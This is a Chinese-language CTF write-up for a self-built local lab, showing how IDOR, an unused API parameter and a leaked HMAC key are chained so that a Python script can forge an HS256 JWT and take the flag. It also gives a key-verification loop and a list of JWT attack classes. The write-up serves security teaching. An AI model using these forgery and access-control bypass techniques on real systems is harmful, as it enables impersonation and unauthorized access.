14 min read

駭客盲盒 #003:無燈城英雄帖 — 夜印從來不是通行證 (自創靶機)

駭客盲盒 #003:無燈城英雄帖 — 夜印從來不是通行證 (自創靶機)
難度:Medium(★★★☆☆)

序:這一盒裝了什麼

這是「駭客盲盒」系列的第三盒,《雲海劍宗》章回的第三章,一樣經 codex 檢查過,歡迎下載遊玩~

第二章的雨門之後,掌門手書指向一座終年不點燈火的邊城,這一盒的名字叫無燈城——城中無燈,因為每一道光,都會替某人作證。

一樣走兩條線,解題的部分用「我們」,設計的部分切回「我」,沒玩過的人,讀完「環境架設」就可以先關掉這篇。

一、環境架設

unzip wuxia-05-wudengcheng.zip
cd wuxia-05-wudengcheng
docker compose up --build -d

跑起來後開瀏覽器:

http://127.0.0.1:8085/

進站後按 h 可以看提示頁,三條提示對應三處關卡,卡住的時候翻,不算作弊。

這盒我特地做了 /hints 頁,前兩盒沒有。

原因是這一章的兩條支線可以任意順序打,玩家很容易在某一處卡死之後不知道該換哪條線,提示我寫得很克制——只講「往哪裡看」,不講「送什麼」,把最後那段推理留著。

二、空殼首頁:所有線索都在 app.js

首頁只有 561 bytes,body 是空的:

<div class="site-shell" id="app" aria-live="polite"></div>
<noscript>這座城需要一點 JavaScript,才看得見雨裡的墨跡。</noscript>
<script src="/app.js" defer></script>

前兩盒的敘事與表單都直接寫在 HTML 裡,這盒全部由 JS 渲染,所以第一步不是掃目錄,是把前端程式碼讀完

curl -sS http://127.0.0.1:8085/app.js -o app.js
wc -l app.js   # 263 行

263 行讀下來,端點清單就有了:

端點 用途
POST /api/session 入城,發身分 cookie
GET /api/me 我是誰
GET /api/roster 入城羅冊
GET /api/dossiers/{ref} 讀卷宗
GET /api/memory/{ref}?layer= 讀記憶牆
GET /api/night-judge/rules 判官規矩
GET /api/night-judge/verdict 判決(flag 在這)

先入城,這盒的身分走 cookie,curl 預設不保存也不送 cookie,所以要用 cookie jar:

C=/tmp/wudeng.jar
B=http://127.0.0.1:8085
J() { python3 -m json.tool --no-ensure-ascii; }   # 中文不要變成 \uXXXX

curl -sS -c $C -X POST $B/api/session -H 'Content-Type: application/json' -d '{}' | J
curl -sS -b $C -c $C $B/api/me | J
{
  "display": "沈小石",
  "office": "wanderer",
  "dossierId": "17",
  "seal": "雨紋銅牌"
}

office: wanderer——記住這個欄位,它是最後一關的靶心。

把首頁做成空殼 SPA 是這盒的第一道門檻。

前兩盒可以靠 curl 首頁直接讀到敘事,這盒不行,你得先意識到「內容都在 JS 裡」才有辦法往下走,這一步刷掉的不是技術,是習慣——很多人打站時只掃目錄不讀前端,而現代 web 應用的路由表、參數名、甚至沒上線的功能,全都躺在那支 bundle 裡。

三、第一處・私人卷宗

提示一:「羅冊裡的卷宗編號不是裝飾;自己的卷宗已示範調閱格式。」

先看羅冊:

curl -sS -b $C -c $C $B/api/roster | J
姓名 職稱 狀態 dossier_ref visibility
沈小石 外客 入城 17 open
顧微 抄燈吏 三更後失蹤 41 private
葉照川 無字帖見證人 姓名已褪 null sealed

附註寫著:「卷宗編號供城籍司調閱,卷宗權限另依鈐印判別。」

再看自己的卷宗,順便確認調閱格式:

curl -sS -b $C -c $C "$B/api/dossiers/17" | J

回應裡有一行 "route_hint": "/api/dossiers/{ref}",附註也寫著「城籍司以 /api/dossiers/{卷宗編號} 調閱登簿」。

到這裡整個推理只剩一句話:羅冊給了我顧微的編號 41,那我把 17 換成 41 會怎樣?

curl -sS -b $C -c $C "$B/api/dossiers/41" | J

直接開了,伺服器完全沒問「這份是不是你的」。

{
  "classification": "私人卷宗・甲字封存",
  "owner": "顧微(抄燈吏)",
  "seal": "封蠟已裂",
  "notes": [
    "其最後一次巡查留在記憶牆:ember-726。",
    "守牆工把公示層與修復層共用同一介面;尋常人只看得到表面。",
    "封面背後殘留四筆灰墨:ashes-9f2a。"
  ],
  "memory_ref": "ember-726",
  "seal_fragment": { "position": "末筆", "value": "ashes-9f2a" }
}

第一證到手,帶出三樣東西:

  • ember-726 — 第二處的入口
  • ashes-9f2a — 一段來路不明的字串,position 標著「末筆」
  • 「公示層與修復層共用同一介面」— 第二處的機制提示
這一處我把「權限判斷」和「資料查詢」刻意寫成兩件事,羅冊附註「卷宗編號供城籍司調閱,卷宗權限另依鈐印判別」就是在描述這個結構。

現實中的 IDOR 幾乎都長這樣:查詢函式寫得很正確,權限檢查寫在另一個地方——然後某一條路徑忘了接上。它很少是「忘記做權限」,多半是「權限做了,但這條路沒走到」。

四、第二處・記憶牆

提示二:「記憶牆的前端仍保留一種一般介面沒有使用的讀法。」

app.js 第 8 行:

const WALL_LAYERS = Object.freeze(["surface", "imprint"]);

宣告了兩種圖層,但往下找它怎麼被使用:

const layer = query.get("layer") || WALL_LAYERS[0];

只用了 [0],也就是 surface陣列裡的 imprint 從頭到尾沒被呼叫過。

再加上卷宗 41 的那句「守牆工把公示層與修復層共用同一介面」,答案已經寫在臉上了。

curl -sS -b $C -c $C "$B/api/memory/ember-726?layer=surface" | J
{"text": "【已覆蓋】此張舊紙經巡夜司核定,不再公開。新帖覆於其上,字跡已不可辨。"}

換成 imprint

curl -sS -b $C -c $C "$B/api/memory/ember-726?layer=imprint" | J
{
  "recovered": {
    "witness": "葉照川不是被逐出英雄帖;他是第一個發現帖上姓名被替換的人。",
    "seal_root": "listen-rain-bell",
    "judge_claim": { "field": "office", "value": "night_judge" },
    "assembly": "雨聲根詞與私人卷宗的末筆灰墨,以冒號相接,才是能讓判官認得的夜印。"
  }
}

第二證到手,而且它是後半場的規格書:

  • listen-rain-bell — 另一段字串,欄位叫 seal_root詞)
  • 判官要看 office 這個欄位等於 night_judge
  • 兩段字串以冒號相接
Object.freeze 是我特意選的。

如果只寫 const WALL_LAYERS = ["surface", "imprint"],玩家可能會覺得那是隨手留下的殘骸,凍結它、把兩個值都寫進去、卻只使用第一個——這個組合傳達的是「這是慎重定義的東西,只是前端不再用它」。

這也是我想教的核心觀念:前端的限制從來不是安全機制,按鈕不給你按、下拉選單沒有那個選項、程式碼裡的值沒被呼叫——這些都只是介面沒有暴露,後端該擋的還是得自己擋。

五、第三處・先看判官為什麼拒絕

curl -sS -b $C -c $C "$B/api/night-judge/rules" | J
curl -sSi -b $C -c $C "$B/api/night-judge/verdict"
{"title": "巡夜判官・開堂規矩",
 "text": "判官不問來者姓名,只驗夜印是否完整,再看城冊所載職司。",
 "current_office": "wanderer"}
HTTP/1.1 403 Forbidden
{"error":"梆聲未歇。此枚夜印尚非巡夜判官所持。","current_office":"wanderer"}

規矩說得很清楚,判官檢查兩件事:夜印是否完整、城冊所載職司。而我們現在的職司是 wanderer,imprint 說要 night_judge

六、我走錯的一步

拿到 listen-rain-bellashes-9f2a,看到「以冒號相接」,第一直覺是——這是通行證

A:B 這種冒號格式在 HTTP 認證的語境裡有很強的暗示:Basic Auth 就是 帳號:密碼 做 base64。所以我把它當憑證,一口氣試了四種送法:

NS='listen-rain-bell:ashes-9f2a'
curl -sS -b $C -H "X-Night-Seal: $NS"        "$B/api/night-judge/verdict"
curl -sS -b $C -H "Authorization: Bearer $NS" "$B/api/night-judge/verdict"
curl -sS -b $C                                "$B/api/night-judge/verdict?seal=$NS"
curl -sS -b $C -H "Cookie: night_seal=$NS"    "$B/api/night-judge/verdict"

四發回應一模一樣current_office 死死釘在 wanderer

這個失敗其實給了答案。推理是這樣的:

如果伺服器有在讀我送的東西,四種完全不同的送法,至少該有一種回應不一樣——長度不同、錯誤訊息不同、狀態碼不同。全部相同,代表它根本沒看我送什麼。

current_office 不受我送的任何東西影響,代表這個值來自我還沒碰到的地方

所以「通行證」這個假設被排除了。那串字另有用途,而 office 存在別的地方。

這一段我在設計時就預期玩家會撞。

冒號格式的誤導是刻意的——我要玩家經歷一次「看起來像什麼」和「實際上是什麼」的落差。形狀會騙人,行為不會。 一段字串到底是憑證還是密鑰,不能靠外觀判斷,得看它在哪個角色上動得起來。

而「四種送法回應完全相同」這件事本身就是資訊,這是我希望玩家帶走的觀察力:失敗的實驗如果失敗得很整齊,那個整齊就是線索。

七、夜印其實是密鑰

office 既然不受我送的東西影響,那就回頭看入城時伺服器給了什麼:

Set-Cookie: wudeng_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Im5pZ2h0LXNlYWwtdjEifQ.eyJzdWIiOiJzaGVuLXhpYW9zaGkiLCJvZmZpY2UiOiJ3YW5kZXJlciIsLi4ufQ.hSNbFgy4...

是 JWT,它的前兩段只是 base64 編碼,不是加密,任何人都能直接讀:

echo 'eyJzdWIiOiJzaGVuLXhpYW9zaGkiLCJvZmZpY2UiOiJ3YW5kZXJlciJ9' | base64 -d
// header
{"alg":"HS256", "typ":"JWT", "kid":"night-seal-v1"}
// payload
{"sub":"shen-xiaoshi", "display":"沈小石", "office":"wanderer", "dossierId":"17", ...}

office 就在這裡面。 判官讀的就是這張 cookie。

那能不能直接改?不行——第三段是簽章。伺服器用一把只有它知道的密鑰,對前兩段算 HMAC。你改了 payload,簽章就對不上。

除非你有那把密鑰。

而 header 裡這個欄位:

"kid": "night-seal-v1"

kid 在 JWT 規格裡是 Key ID——密鑰的名字。而 night-seal 直譯就是夜印

三個線索到這裡收束:

  1. kid 指名了一把叫 night-seal-v1 的密鑰
  2. 整關的敘事一直在講「夜印」——判官「只驗夜印是否完整」、拒絕訊息說「此枚夜印尚非巡夜判官所持」
  3. imprint 那句「才是能讓判官認得的夜印」,翻成技術語言就是「能通過簽章驗證的簽名

夜印不是通行證,是簽章密鑰,而它被拆成兩半:

listen-rain-bell  :  ashes-9f2a
   ↑ 根詞(第二處)  ↑冒號  ↑ 末筆(第一處)

順序也不用猜——seal_root 的「root」是根、是開頭;seal_fragmentposition 欄位直接寫著 "末筆"

八、自簽夜印

密鑰在手,剩下的就是機械操作,header 照抄原本的(kid 要留著,伺服器靠它選密鑰),payload 只改 office

import base64, hmac, hashlib, json, time

KEY = b"listen-rain-bell:ashes-9f2a"
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()
enc = lambda d: b64(json.dumps(d, separators=(',',':'), ensure_ascii=False).encode())

now = int(time.time())
h = {"alg":"HS256","typ":"JWT","kid":"night-seal-v1"}
p = {"sub":"shen-xiaoshi","display":"沈小石","office":"night_judge",
     "dossierId":"17","iat":now,"exp":now+3600}

msg = f"{enc(h)}.{enc(p)}"
sig = b64(hmac.new(KEY, msg.encode(), hashlib.sha256).digest())
print(f"{msg}.{sig}")

把假身分證當 cookie 送出去:

FORGED='<上面印出來的>'
curl -sS -H "Cookie: wudeng_session=$FORGED" "$B/api/night-judge/verdict" | J

伺服器拿 night-seal-v1 驗章——通過,因為用的就是同一把。於是它相信 payload,看到 office: night_judge,開堂。

補充:如果沒讀懂「以冒號相接」

現實中不會有人告訴你怎麼拼,但密鑰是可以被證明的,不需要猜:

import hmac, hashlib, base64

token = "<伺服器發給你的真 token>"
msg, sig = token.rsplit(".", 1)

def test(key):
    calc = base64.urlsafe_b64encode(
        hmac.new(key.encode(), msg.encode(), hashlib.sha256).digest()
    ).rstrip(b"=").decode()
    return calc == sig

for k in ["listen-rain-bell:ashes-9f2a", "listen-rain-bell-ashes-9f2a",
          "ashes-9f2a:listen-rain-bell", "listen-rain-bellashes-9f2a"]:
    print("✅" if test(k) else "❌", k)

原理:你手上有一張伺服器簽好的真 token,前兩段跟簽章都在,用候選密鑰重算,算出來跟真簽章一致,那把就是對的。

這個驗證完全在本機做——伺服器不知道、沒有 rate limit、可以試幾億次,hashcatjwt_tool 的弱密鑰爆破就是把這個迴圈跑很多次而已。

九、完整攻擊鏈

POST /api/session  →  拿到 JWT cookie(office: wanderer)
        │
        ├──────────────────────┬──────────────────────
        ▼                      ▼
  GET /api/roster        app.js 第 8 行
  拿到別人的編號 41       WALL_LAYERS 凍結了 imprint 卻沒用
        │                      │
        ▼                      ▼
  GET /api/dossiers/41   GET /api/memory/ember-726?layer=imprint
  ← IDOR                 ← 未使用的參數值仍生效
        │                      │
        ▼                      ▼
   ashes-9f2a            listen-rain-bell
   (末筆)                (根詞)+ judge_claim: office=night_judge
        │                      │
        └──────────┬───────────┘
                   ▼
        listen-rain-bell:ashes-9f2a
        = JWT header 裡 kid "night-seal-v1" 所指的密鑰
                   ▼
        自簽 office=night_judge 的 JWT
                   ▼
        GET /api/night-judge/verdict  →  🚩 flag

十、漏洞剖析:三處匯流

第一處:IDOR

/api/dossiers/41 直接吐出別人的私人卷宗,系統檢查了「你有沒有登入」,沒檢查「這份是不是你的」。

這是 OWASP API Security Top 10 的第一名(BOLA / Broken Object Level Authorization),也是實務上最常見的漏洞類型。它之所以難根除,是因為權限檢查通常寫在別的地方,只要有一條查詢路徑忘了接上就破功——而一個中型 API 有幾百條路徑。

驗這類漏洞的方法很土但有效:拿 A 帳號的 token,去讀 B 帳號的資源 ID。能讀到就是 BOLA。

第二處:功能停用了,介面沒停用

前端凍結了 imprint 但不再呼叫,後端卻照收,這跟第二盒的廢棄 schema 端點是同一種病。

現實中的同構物:忘了關的 /swagger.json、GraphQL 的 introspection、/actuator/env、舊版 /v1/ 路徑、被前端隱藏但後端仍接受的表單欄位,「前端不送」不等於「後端不收」,而攻擊者從來不用你的前端。

第三處:密鑰洩漏 → JWT 偽造

拿到 HMAC 密鑰,就等於拿到了伺服器的印章,你能簽出任何 payload,而且伺服器會百分之百採信——因為簽章是真的。

JWT 的四大攻擊面順帶列一下,這盒用的是第一種:

  1. 密鑰洩漏/弱密鑰 — 從 source map、Git、log 撿到,或是密鑰根本是 secretyour-256-bit-secret 這種文件範例值,hashcat 幾秒爆掉
  2. alg: none — 規格允許「不需簽章」,老舊函式庫沒擋
  3. 演算法混淆(RS256 → HS256) — 把公鑰拿來當 HMAC 密鑰用
  4. kid 注入kid 是攻擊者可控字串,如果被拿去當檔案路徑或拼 SQL,就變成 LFI/SQLi
我把密鑰拆成兩半,是因為想示範一件事:攻擊鏈的價值不等於各環節的總和。

IDOR 拿到的 ashes-9f2a 單獨看沒有意義,imprint 拿到的 listen-rain-bell 也一樣。修掉任何一個漏洞,另一半就永遠只是一段亂碼。但兩個都存在時,它們相乘成了完整的身分偽造能力。

這也是滲透測試報告最難溝通的部分。分開報,兩個都是 Medium,開發者容易覺得「不急」;串起來報,它是 Critical。單點的嚴重性評估會系統性低估攻擊鏈,而真實入侵幾乎都是攻擊鏈。

結語

這一盒我想教的是匯流

第一章教「讀」——線索寫在敘事裡,你得願意讀完每一句氛圍文字。第二章教「串」——三個小毛病接成一條路,這一章教的是:有些鑰匙不會完整地放在一個地方,它被拆開,藏在彼此無關的兩個角落。

還有一件事:那段冒號格式的誤導不是惡作劇,看起來像 Basic Auth 的東西可能是密鑰,看起來像亂碼的東西可能是 session ID——形狀不能拿來判斷用途,只有行為可以。

城內亮起第一盞燈了,帖尾那行淡墨說,江湖上不只一座無燈城。

本文為自製靶機 writeup,靶機僅供本地學習使用,請勿將文中技巧用於未經授權的目標。